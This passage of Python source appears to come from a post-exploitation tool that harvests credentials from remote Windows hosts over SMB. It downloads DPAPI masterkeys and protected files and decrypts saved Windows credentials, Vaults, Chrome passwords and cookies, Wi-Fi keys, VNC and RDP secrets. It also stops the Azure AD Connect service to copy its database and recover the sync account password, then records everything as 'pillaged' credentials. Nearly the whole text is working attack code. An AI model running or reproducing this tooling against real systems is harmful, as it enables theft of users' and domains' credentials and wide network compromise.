|
|
logins = myChromeSecrets.decrypt_chrome_LoginData()
|
|
user.files[longname]['secret'] = logins
|
|
if logins is not None:
|
|
user.files[longname]['status'] = 'decrypted'
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting logindata for CHROME {user.username} {localfile} {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
if my_blob_type == 'ChromeCookies':
|
|
try:
|
|
myChromeSecrets.cookie_path = localfile
|
|
user.files[longname] = {}
|
|
user.files[longname]['type'] = my_blob_type
|
|
user.files[longname]['status'] = 'encrypted'
|
|
user.files[longname]['path'] = localfile
|
|
cookies = myChromeSecrets.decrypt_chrome_CookieData()
|
|
user.files[longname]['secret'] = cookies
|
|
if cookies is not None:
|
|
user.files[longname]['status'] = 'decrypted'
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting CookieData for CHROME {user.username} {localfile} {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
if my_blob_type == 'ChromeVersion':
|
|
try:
|
|
myChromeSecrets.version_path = localfile
|
|
user.files[longname] = {}
|
|
user.files[longname]['type'] = my_blob_type
|
|
user.files[longname]['status'] = 'encrypted'
|
|
user.files[longname]['path'] = localfile
|
|
cookies = myChromeSecrets.get_chrome_Version()
|
|
user.files[longname]['secret'] = cookies
|
|
if cookies is not None:
|
|
user.files[longname]['status'] = 'decrypted'
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting CookieData for CHROME {user.username} {localfile} {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def getMdbData(self):
|
|
try:
|
|
return self.getMdbData2()
|
|
except UnicodeDecodeError:
|
|
return self.getMdbData2('utf-16-le')
|
|
|
|
def getMdbData2(self, codec='utf-8'):
|
|
try:
|
|
out = {
|
|
'cryptedrecords': [],
|
|
'xmldata': []
|
|
}
|
|
keydata = None
|
|
#
|
|
# self.options.from_file='adsync_export'
|
|
|
|
if self.options.from_file:
|
|
logging.info('Loading configuration data from %s on filesystem', self.options.from_file)
|
|
infile = codecs.open(self.options.from_file, 'r', codec)
|
|
enumtarget = infile
|
|
else:
|
|
logging.info('Querying database for configuration data')
|
|
dbpath = os.path.join(os.getcwd(), r"ADSync.mdf")
|
|
output = subprocess.Popen(["ADSyncQuery.exe", dbpath], stdout=subprocess.PIPE).communicate()[0]
|
|
enumtarget = output.split('\n')
|
|
|
|
#####TEMP
|
|
# logging.info('Loading configuration data from %s on filesystem', self.__options.from_file)
|
|
# infile = codecs.open('adsync_export', 'r', codec)
|
|
# enumtarget = infile
|
|
######
|
|
|
|
for line in enumtarget:
|
|
try:
|
|
ltype, data = line.strip().split(': ')
|
|
except ValueError:
|
|
continue
|
|
ltype = ltype.replace(u'\ufeff', u'')
|
|
if ltype.lower() == 'record':
|
|
xmldata, crypteddata = data.split(';')
|
|
out['cryptedrecords'].append(crypteddata)
|
|
out['xmldata'].append(xmldata)
|
|
# print(f"record found : {xmldata}")
|
|
|
|
if ltype.lower() == 'config':
|
|
instance, keyset_id, entropy = data.split(';')
|
|
out['instance'] = instance
|
|
out['keyset_id'] = keyset_id
|
|
out['entropy'] = entropy
|
|
# if self.__options.from_file:
|
|
# infile.close()
|
|
# Check if all values are in the outdata
|
|
required = ['cryptedrecords', 'xmldata', 'instance', 'keyset_id', 'entropy']
|
|
for option in required:
|
|
if not option in out:
|
|
logging.error(
|
|
'Missing data from database. Option %s could not be extracted. Check your database or output file.',
|
|
option)
|
|
return None
|
|
return out
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception in Parsing database : Please manualy run ADSyncQuery.exe ADSync.mdf > adsync_export on a windows env with MSSQL support{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def Get_AD_Connect(self, user, localfile, data):
|
|
# Local DPAPI extracted data
|
|
info = ""
|
|
parts = data['Target'].decode('utf-16le')[:-1].split('_')
|
|
localBlobdatas = {
|
|
'instanceid': parts[3][1:-1].lower(),
|
|
'keyset_id': parts[4],
|
|
'data': data['Unknown3']
|
|
}
|
|
# print(localBlobdatas)
|
|
|
|
# ADConnect Database data
|
|
logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE} Trying to get ADConnect account{bcolors.ENDC}")
|
|
try:
|
|
# Stop Service / Download DB / Start DB
|
|
myADSRemoteOps = ADSRemoteOperations(smbConnection=self.smb, doKerberos=False)
|
|
myADSRemoteOps.gatherAdSyncMdb()
|
|
# files_to_dl=['Program Files\\Microsoft Azure AD Sync\\Data\\ADSync.mdf','Program Files\\Microsoft Azure AD Sync\\Data\\ADSync_log.ldf']
|
|
mdbdata = self.getMdbData()
|
|
if mdbdata is None:
|
|
logging.debug(f"[{self.options.target_ip}] Could not extract required database information. Exiting")
|
|
return
|
|
# print(mdbdata)
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception in ADSRemoteOperations 1{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
result = localBlobdatas
|
|
if result is not None:
|
|
if result['keyset_id'] != mdbdata['keyset_id'] or result['instanceid'] != mdbdata['instance']:
|
|
logging.debug('Found keyset %s instance %s, but need keyset %s instance %s. Trying next',
|
|
result['keyset_id'], result['instanceid'], mdbdata['keyset_id'], mdbdata['instance'])
|
|
else:
|
|
logging.debug('Found correct encrypted keyset to decrypt data')
|
|
if result is None:
|
|
logging.debug('Failed to find correct keyset data')
|
|
return
|
|
|
|
# cryptkeys = [self.__remoteOps.decryptDpapiBlobSystemkey(result['data'], self.dpapiSystem['MachineKey'],string_to_bin(mdbdata['entropy']))]
|
|
myoptions = copy.deepcopy(self.options)
|
|
myoptions.file = None # "key_material.tmp" # BLOB to parse
|
|
myoptions.key = None
|
|
myoptions.masterkeys = None # user.masterkeys_file
|
|
mydpapi = DPAPI(myoptions, self.logging)
|
|
guid = mydpapi.find_Blob_masterkey(raw_data=result['data'])
|
|
self.logging.debug(f"[{self.options.target_ip}] Looking for ADConnect masterkey : {guid}")
|
|
if guid != None:
|
|
machine_user = user = self.GetUserByName('MACHINE$')
|
|
masterkey = self.get_masterkey(user=machine_user, guid=guid, type='MACHINE')
|
|
if masterkey != None:
|
|
if masterkey['status'] == 'decrypted':
|
|
mydpapi.options.key = masterkey['key']
|
|
# cred_data = mydpapi.decrypt_credential()
|
|
cryptkeys = [
|
|
mydpapi.decrypt_blob(raw_data=result['data'], entropy=string_to_bin(mdbdata['entropy']))]
|
|
try:
|
|
logging.debug(f'Decrypting encrypted AD Sync configuration data with {cryptkeys}')
|
|
for index, record in enumerate(mdbdata['cryptedrecords']):
|
|
# Try decrypting with highest cryptkey record
|
|
self.logging.debug(f"[{self.options.target_ip}] {index} - {record}")
|
|
drecord = DumpSecrets.decrypt(record, cryptkeys[-1]).replace('\x00', '')
|
|
# print(drecord)
|
|
with open('r%d_xml_data.xml' % index, 'w') as outfile:
|
|
data = base64.b64decode(mdbdata['xmldata'][index]).decode('utf-16-le')
|
|
outfile.write(data)
|
|
with open('r%d_encrypted_data.xml' % index, 'w') as outfile:
|
|
outfile.write(drecord)
|
|
ctree = ET.fromstring(drecord)
|
|
dtree = ET.fromstring(data)
|
|
if 'forest-login-user' in data:
|
|
logging.debug('Local AD credentials')
|
|
el = dtree.find(".//parameter[@name='forest-login-domain']")
|
|
if el is not None:
|
|
logging.debug('\tDomain: %s', el.text)
|
|
username = el.text
|
|
el = dtree.find(".//parameter[@name='forest-login-user']")
|
|
if el is not None:
|
|
username += '/' + el.text
|
|
# logging.debug('\tUsername: %s', el.text)
|
|
else:
|
|
# Assume AAD config
|
|
logging.debug('Azure AD credentials')
|
|
el = dtree.find(".//parameter[@name='UserName']")
|
|
if el is not None:
|
|
username = el.text
|
|
logging.debug('\tUsername: %s', el.text)
|
|
# Can be either lower or with capital P
|
|
fpw = None
|
|
el = ctree.find(".//attribute[@name='Password']")
|
|
if el is not None:
|
|
fpw = el.text
|
|
el = ctree.find(".//attribute[@name='password']")
|
|
if el is not None:
|
|
fpw = el.text
|
|
if fpw:
|
|
# fpw = fpw[:len(fpw)/2] + '...[REDACTED]'
|
|
logging.debug('\tPassword: %s', fpw)
|
|
info += f"{username} : {fpw}\n"
|
|
self.logging.info(
|
|
f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} ADCONNECT : {bcolors.OKGREEN} - {username} : {fpw}{bcolors.ENDC}")
|
|
############PROCESSING DATA
|
|
self.db.add_credz(credz_type='ADConnect',
|
|
credz_username=username,
|
|
credz_password=fpw,
|
|
credz_target='',
|
|
credz_path='', # user.files['ADCONNECT']['path'],
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username=user.username)
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception in Get_AD_Connect 2{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
else:
|
|
self.logging.info(
|
|
f"[{self.options.target_ip}] [+] {bcolors.WARNING} Masterkey NOT Found for ADConnect {bcolors.ENDC}")
|
|
return info
|
|
|
|
def Get_DPAPI_Protected_Files(self):
|
|
self.logging.info(
|
|
f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering DPAPI Secret blobs on the target{bcolors.ENDC}")
|
|
blacklist = ['.', '..']
|
|
# credentials ?
|
|
# Vaults ?
|
|
# Parse chrome
|
|
# autres navigateurs ?
|
|
# CredHistory
|
|
# Appdata Roaming ?
|
|
|
|
user_directories = [("Users\\{username}\\AppData\\Local\\Microsoft\\Credentials", '*', 'credential', 'DOMAIN'),
|
|
("Windows\\ServiceProfiles\\ADSync\\AppData\\Local\\Microsoft\\Credentials", '*',
|
|
'credential', 'MACHINE-USER'),
|
|
(
|
|
"Users\\{username}\\AppData\\Roaming\\Microsoft\\Credentials", '*', 'credential', 'DOMAIN'),
|
|
(
|
|
"Users\\{username}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings",
|
|
"*.rdg", 'rdg', 'DOMAIN')
|
|
] # ADD Desktop for RDG
|
|
machine_directories = [("Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Credentials", '*',
|
|
'credential', 'MACHINE'),
|
|
("Windows\\ServiceProfiles\\ADSync\\AppData\\Local\\Microsoft\\Credentials", '*',
|
|
'credential', 'MACHINE-USER'),
|
|
("Users\\ADSync\\AppData\\Local\\Microsoft\\Credentials", '*', 'credential',
|
|
'MACHINE-USER'),
|
|
# Valider le %systemdir% selon la version de windows ?
|
|
]
|
|
|
|
for user in self.users:
|
|
if user.username == 'MACHINE$':
|
|
directories_to_use = machine_directories
|
|
else:
|
|
directories_to_use = user_directories
|
|
|
|
# if len(user.masterkeys)>0:#Pas de masterkeys==pas de datas a recup
|
|
for info in directories_to_use:
|
|
my_dir, my_mask, my_blob_type, my_user_type = info
|
|
tmp_pwd = my_dir.format(
|
|
username=user.username) ##ntpath.join(ntpath.join('Users', user.username), my_dir)
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] Looking for {user.username} files in {tmp_pwd} with mask {my_mask}")
|
|
my_directory = self.myfileops.do_ls(tmp_pwd, my_mask, display=False)
|
|
for infos in my_directory:
|
|
longname, is_directory = infos
|
|
self.logging.debug("ls returned file %s" % longname)
|
|
if longname not in blacklist and not is_directory:
|
|
try:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] [+] Found {bcolors.OKBLUE}{user.username}{bcolors.ENDC} encrypted files {longname}")
|
|
# Downloading Blob file
|
|
localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname))
|
|
user.files[longname] = {}
|
|
user.files[longname]['type'] = my_blob_type
|
|
user.files[longname]['status'] = 'encrypted'
|
|
user.files[longname]['path'] = localfile
|
|
|
|
myoptions = copy.deepcopy(self.options)
|
|
myoptions.file = localfile # Masterkeyfile to parse
|
|
myoptions.masterkeys = None # user.masterkeys_file
|
|
myoptions.key = None
|
|
mydpapi = DPAPI(myoptions, self.logging)
|
|
guid = mydpapi.find_CredentialFile_masterkey()
|
|
self.logging.debug(f"[{self.options.target_ip}] Looking for {longname} masterkey : {guid}")
|
|
if guid != None:
|
|
masterkey = self.get_masterkey(user=user, guid=guid, type=my_user_type)
|
|
if masterkey != None:
|
|
if masterkey['status'] == 'decrypted':
|
|
mydpapi.options.key = masterkey['key']
|
|
cred_data = mydpapi.decrypt_credential()
|
|
if cred_data != None:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull of {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Secret {longname}{bcolors.ENDC}")
|
|
user.files[longname]['status'] = 'decrypted'
|
|
user.files[longname]['data'] = cred_data
|
|
self.process_decrypted_data(user, user.files[
|
|
longname]) # cred_data,user,localfile,my_blob_type)
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}")
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey - Masterkey not decrypted{bcolors.ENDC}")
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey- cant get masterkey {guid}{bcolors.ENDC}")
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}")
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
return 1
|
|
|
|
def GetWifi(self):
|
|
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Wifi Keys{bcolors.ENDC}")
|
|
blacklist = ['.', '..']
|
|
machine_directories = [("ProgramData\\Microsoft\\Wlansvc\\Profiles\\Interfaces", '*.xml')]
|
|
|
|
for info in machine_directories:
|
|
user = self.GetUserByName('MACHINE$')
|
|
my_dir, my_mask = info
|
|
# interface name
|
|
self.logging.debug(f"[{self.options.target_ip}] [+] Looking for interfaces in {my_dir}") # No mask
|
|
my_directory = self.myfileops.do_ls(my_dir, '*', display=False)
|
|
for infos in my_directory:
|
|
longname, is_directory = infos
|
|
if longname not in blacklist and is_directory:
|
|
self.logging.debug(f"[{self.options.target_ip}] [+] Got Wifi interface {longname}")
|
|
tmp_pwd = ntpath.join(my_dir, longname)
|
|
my_directory2 = self.myfileops.do_ls(tmp_pwd, my_mask, display=False)
|
|
for infos2 in my_directory2:
|
|
longname2, is_directory2 = infos2
|
|
if longname2 not in blacklist and not is_directory2:
|
|
self.logging.debug(f"[{self.options.target_ip}] [+] Got wifi config file {longname2}")
|
|
# Downloading Blob file
|
|
localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname2))
|
|
user.files[longname2] = {}
|
|
user.files[longname2]['type'] = 'wifi'
|
|
user.files[longname2]['status'] = 'encrypted'
|
|
user.files[longname2]['path'] = localfile
|
|
|
|
with open(localfile, 'rb') as f:
|
|
try:
|
|
file_data = f.read().replace(b'\x0a', b'').replace(b'\x0d', b'')
|
|
wifi_name = re.search(b'<name>([^<]+)</name>', file_data)
|
|
wifi_name = wifi_name.group(1)
|
|
user.files[longname2]['wifi_name'] = wifi_name
|
|
key_material_re = re.search(b'<keyMaterial>([0-9A-F]+)</keyMaterial>', file_data)
|
|
if not key_material_re:
|
|
continue
|
|
key_material = key_material_re.group(1)
|
|
# with open("key_material.tmp", "wb") as f:
|
|
# f.write(binascii.unhexlify(key_material))
|
|
except Exception as ex:
|
|
self.logging.error(f"{bcolors.WARNING}Error in wifi parsing{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
try:
|
|
myoptions = copy.deepcopy(self.options)
|
|
myoptions.file = None # "key_material.tmp" # BLOB to parse
|
|
myoptions.key = None
|
|
myoptions.masterkeys = None # user.masterkeys_file
|
|
mydpapi = DPAPI(myoptions, self.logging)
|
|
guid = mydpapi.find_Blob_masterkey(raw_data=binascii.unhexlify(key_material))
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] Looking for {longname2} masterkey : {guid}")
|
|
if guid != None:
|
|
masterkey = self.get_masterkey(user=user, guid=guid, type='MACHINE')
|
|
if masterkey != None:
|
|
if masterkey['status'] == 'decrypted':
|
|
mydpapi.options.key = masterkey['key']
|
|
# cred_data = mydpapi.decrypt_credential()
|
|
cred_data = mydpapi.decrypt_blob(
|
|
raw_data=binascii.unhexlify(key_material))
|
|
if cred_data != None:
|
|
user.files[longname2]['status'] = 'decrypted'
|
|
user.files[longname2]['data'] = cred_data
|
|
user.files[longname2]['secret'] = cred_data
|
|
self.logging.info(
|
|
f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} Wifi {bcolors.OKBLUE}{wifi_name} {bcolors.OKGREEN} - {cred_data}{bcolors.ENDC}")
|
|
############PROCESSING DATA
|
|
self.db.add_credz(credz_type='wifi',
|
|
credz_username=wifi_name.decode('utf-8'),
|
|
credz_password=cred_data.decode('utf-8'),
|
|
credz_target=wifi_name.decode('utf-8'),
|
|
credz_path=user.files[longname2]['path'],
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username=user.username)
|
|
# semf.process_decrypted_data(user.files[longname2])#cred_data, user, localfile, type='wifi', args=[wifi_name])
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting WIFI Blob for {localfile} with Masterkey - Masterkey not decrypted{bcolors.ENDC}")
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting WIFI Blob for {localfile} with Masterkey- cant get masterkey {guid}{bcolors.ENDC}")
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting WIFIBlob for {localfile} with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}")
|
|
except Exception as ex:
|
|
self.logging.error(
|
|
f"{bcolors.WARNING}Exception decrypting wifi credentials{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
return 1
|
|
|
|
def GetVNC(self):
|
|
try:
|
|
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering VNC Passwords{bcolors.ENDC}")
|
|
myvnc = Vnc(self.myregops, self.myfileops, self.logging, self.options, self.db)
|
|
myvnc.vnc_from_filesystem()
|
|
myvnc.vnc_from_registry()
|
|
except Exception as ex:
|
|
self.logging.error(f"{bcolors.WARNING}Exception IN VNC GATHERING{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def GetVaults(self):
|
|
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Vaults{bcolors.ENDC}")
|
|
blacklist = ['.', '..', 'UserProfileRoaming']
|
|
# credentials ?
|
|
# Vaults ?
|
|
# Parse chrome
|
|
# autres navigateurs ?
|
|
# CredHistory
|
|
|
|
user_directories = [("Users\\{username}\\AppData\\Local\\Microsoft\\Vault", '*', 'vault', 'DOMAIN')]
|
|
machine_directories = [("ProgramData\\Microsoft\\Vault", '*', 'vault', 'MACHINE'),
|
|
("Windows\\system32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Vault\\", '*',
|
|
'vault', 'MACHINE')] # Windows hello pincode
|
|
|
|
for user in self.users:
|
|
if user.username == 'MACHINE$':
|
|
directories_to_use = machine_directories
|
|
else:
|
|
directories_to_use = user_directories
|
|
|
|
if len(user.masterkeys_file) > 0: # Pas de masterkeys==pas de datas a recup
|
|
for info in directories_to_use:
|
|
my_dir, my_mask, my_blob_type, my_user_type = info
|
|
tmp_pwd = my_dir.format(
|
|
username=user.username) # f"Users\\{user.username}\\{my_dir}"#ntpath.join(ntpath.join('Users', user.username), my_dir)
|
|
self.logging.debug("Looking for %s Vaults in %s with mask %s" % (user.username, tmp_pwd, my_mask))
|
|
my_directory = self.myfileops.do_ls(tmp_pwd, my_mask, display=False)
|
|
for infos in my_directory:
|
|
longname, is_directory = infos
|
|
self.logging.debug("ls returned %s" % longname)
|
|
if longname not in blacklist and is_directory:
|
|
self.logging.debug("Got Vault Directory %s" % longname)
|
|
tmp_pwd2 = ntpath.join(tmp_pwd, longname)
|
|
try:
|
|
# First get the Policy.vpol
|
|
local_vpol_file = self.myfileops.get_file(ntpath.join(tmp_pwd2, "Policy.vpol"))
|
|
user.files[longname] = {}
|
|
user.files[longname]['type'] = my_blob_type
|
|
user.files[longname]['status'] = 'encrypted'
|
|
user.files[longname]['UID'] = longname
|
|
user.files[longname]['path'] = tmp_pwd2
|
|
user.files[longname]['vpol_path'] = local_vpol_file
|
|
user.files[longname]['vpol_status'] = 'encrypted'
|
|
user.files[longname]['vsch'] = {}
|
|
user.files[longname]['vcrd'] = {}
|
|
user.files[longname]['data'] = ''
|
|
# Decrypt the keys
|
|
|
|
myoptions = copy.deepcopy(self.options)
|
|
myoptions.vcrd = None # Vault File to parse
|
|
myoptions.masterkeys = None
|
|
myoptions.vpol = local_vpol_file
|
|
myoptions.key = None
|
|
mydpapi = DPAPI(myoptions, self.logging)
|
|
guid = mydpapi.find_Vault_Masterkey()
|
|
if guid != None:
|
|
masterkey = self.get_masterkey(user=user, guid=guid, type=my_user_type)
|
|
if masterkey != None:
|
|
if masterkey['status'] == 'decrypted':
|
|
mydpapi.options.key = masterkey['key']
|
|
keys = mydpapi.decrypt_vault()
|
|
if keys != None:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.OKGREEN}Vault Policy file Decryption successfull - {local_vpol_file}{bcolors.ENDC}")
|
|
tmp_vaultkeys = []
|
|
if keys['Key1']['Size'] > 0x24:
|
|
tmp_vaultkeys.append(
|
|
'0x%s' % binascii.hexlify(keys['Key2']['bKeyBlob']))
|
|
tmp_vaultkeys.append(
|
|
'0x%s' % binascii.hexlify(keys['Key1']['bKeyBlob']))
|
|
else:
|
|
tmp_vaultkeys.append(
|
|
'0x%s' % binascii.hexlify(
|
|
keys['Key2']['bKeyBlob']['bKey']).decode('latin-1'))
|
|
tmp_vaultkeys.append(
|
|
'0x%s' % binascii.hexlify(
|
|
keys['Key1']['bKeyBlob']['bKey']).decode('latin-1'))
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] Saving {len(tmp_vaultkeys)} Vault keys {bcolors.ENDC}")
|
|
user.files[longname]['vpol_status'] = 'decrypted'
|
|
user.files[longname]['status'] = 'decrypted'
|
|
user.files[longname]['data'] = tmp_vaultkeys
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Policy.vpol {local_vpol_file} with Masterkey{bcolors.ENDC}")
|
|
continue
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Policy.vpol {local_vpol_file} with Masterkey - Masterkey not decrypted{bcolors.ENDC}")
|
|
continue
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Policy.vpol {local_vpol_file} with Masterkey- cant get masterkey {guid}{bcolors.ENDC}")
|
|
continue
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Policy.vpol {local_vpol_file} with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}")
|
|
continue
|
|
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting Policy.vpol {local_vpol_file} with Masterkey{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
continue
|
|
|
|
# Look for .vsch : Vault Schema file
|
|
|
|
# Then gets *.vcrd files
|
|
my_directory2 = self.myfileops.do_ls(tmp_pwd2, my_mask, display=False)
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] Found {len(my_directory2)} files in {tmp_pwd2}")
|
|
for infos2 in my_directory2:
|
|
longname2, is_directory2 = infos2
|
|
self.logging.debug("ls returned file %s" % longname2)
|
|
if longname2 not in blacklist and not is_directory2 and not longname2 == "Policy.vpol":
|
|
try:
|
|
# Downloading Blob file
|
|
localfile = self.myfileops.get_file(ntpath.join(tmp_pwd2, longname2))
|
|
if longname2[-4:] == 'vsch': # PAS G2R2 pour le moment
|
|
user.files[longname]['vsch'][localfile] = {}
|
|
user.files[longname]['vsch'][localfile]['status'] = 'encrypted'
|
|
user.files[longname]['vsch'][localfile]['type'] = 'vsch'
|
|
user.files[longname]['vsch'][localfile]['vault_name'] = longname2
|
|
user.files[longname]['vsch'][localfile]['path'] = localfile
|
|
continue
|
|
elif longname2[-4:] == 'vcrd':
|
|
user.files[longname]['vcrd'][localfile] = {}
|
|
user.files[longname]['vcrd'][localfile]['status'] = 'encrypted'
|
|
user.files[longname]['vcrd'][localfile]['type'] = 'vcrd'
|
|
user.files[longname]['vcrd'][localfile]['vault_name'] = longname2
|
|
user.files[longname]['vcrd'][localfile]['path'] = localfile
|
|
|
|
myoptions = copy.deepcopy(self.options)
|
|
myoptions.vcrd = localfile # Vault File to parse
|
|
myoptions.vaultkeys = tmp_vaultkeys
|
|
myoptions.vpol = None
|
|
myoptions.key = None
|
|
mydpapi = DPAPI(myoptions, self.logging)
|
|
vault_data, data_type = mydpapi.decrypt_vault()
|
|
if vault_data != None:
|
|
user.files[longname]['vcrd'][localfile]['status'] = 'decrypted'
|
|
user.files[longname]['vcrd'][localfile]['data'] = vault_data
|
|
user.files[longname]['vcrd'][localfile]['vault_type'] = data_type
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.OKBLUE}{user.username} {bcolors.OKGREEN}Vault .vcrd Decryption successfull - {localfile}{bcolors.ENDC}")
|
|
self.process_decrypted_vault(user, user.files[longname]['vcrd'][
|
|
localfile]) # vault_data,user,localfile,my_blob_type,args=[longname2,data_type])
|
|
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting vcrd Vault with Masterkey - {longname2} {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
return 1
|
|
|
|
def dump_to_file(self, localfile_encrypted, localdata_decrypted):
|
|
self.logging.debug(f"[{self.options.target_ip}] Dumping decrypted {localfile_encrypted} to file{bcolors.ENDC}")
|
|
try:
|
|
localfile_decrypted = os.path.join(os.path.split(localfile_encrypted)[0],
|
|
os.path.split(localfile_encrypted)[1] + "_decrypted")
|
|
fh = open(localfile_decrypted, 'wb')
|
|
fh.write(f"{localdata_decrypted}".encode('utf-8'))
|
|
fh.close()
|
|
return 1
|
|
except Exception as ex:
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_to_file{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def process_decrypted_data(self, user, secret_file): # data ,user ,localfile,blob_type,args=[]):
|
|
try:
|
|
self.logging.debug(f"[{self.options.target_ip}] [+] process_decrypted_data of {secret_file} {bcolors.ENDC}")
|
|
blob_type = secret_file['type']
|
|
localfile = secret_file['path']
|
|
data = secret_file['data']
|
|
if blob_type == 'rdg':
|
|
self.logging.debug("IT S A Remote Desktop Cred file")
|
|
clear_data = self.dump_credential_blob(data)
|
|
elif blob_type == 'credential':
|
|
|
|
if 'Domain:target=TERMSRV' in data['Target'].decode('utf-16le') or 'LegacyGeneric:target=TERMSRV' in \
|
|
data['Target'].decode('utf-16le'):
|
|
clear_data = self.dump_CREDENTIAL_TSE(user, localfile, data)
|
|
elif 'Domain:target=msteams' in data['Target'].decode('utf-16le') or 'LegacyGeneric:target=msteams' in \
|
|
data['Target'].decode('utf-16le'):
|
|
self.logging.debug("IT S A MSTeam Credential!")
|
|
clear_data = self.dump_CREDENTIAL_TSE(user, localfile, data)
|
|
elif 'Domain:batch=TaskScheduler' in data['Target'].decode(
|
|
'utf-16le') or 'LegacyGeneric:target=msteams' in data['Target'].decode('utf-16le'):
|
|
self.logging.debug("IT S A TaskScheduler Cred!")
|
|
clear_data = self.dump_CREDENTIAL_TASKSCHEDULER(user, localfile, data)
|
|
'''Domain:batch=TaskScheduler:Task:{31368695-xxxxxxxxxxx}
|
|
Username : Domain\Administrateur
|
|
Unknown3 : @&&&&&&&
|
|
'''
|
|
elif 'Domain:target=MicrosoftOffice16_Data:orgid' in data['Target'].decode(
|
|
'utf-16le') or 'LegacyGeneric:target=MicrosoftOffice16_Data:orgid' in data['Target'].decode(
|
|
'utf-16le'):
|
|
self.logging.debug("IT S A Office365 Cred!")
|
|
clear_data = self.dump_CREDENTIAL_TSE(user, localfile, data)
|
|
'''
|
|
[CREDENTIAL]
|
|
LastWritten : 2020-02-18 08:48:39
|
|
Flags : 48 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
|
|
Persist : 0x3 (CRED_PERSIST_ENTERPRISE)
|
|
Type : 0x1 (CRED_PERSIST_SESSION)
|
|
Target : LegacyGeneric:target=MicrosoftOffice15_Data:SSPI:v.xxxxxxx@xxxxxx.com
|
|
Description :
|
|
Unknown :
|
|
Username :
|
|
Unknown3 : xxxxxxxxx
|
|
|
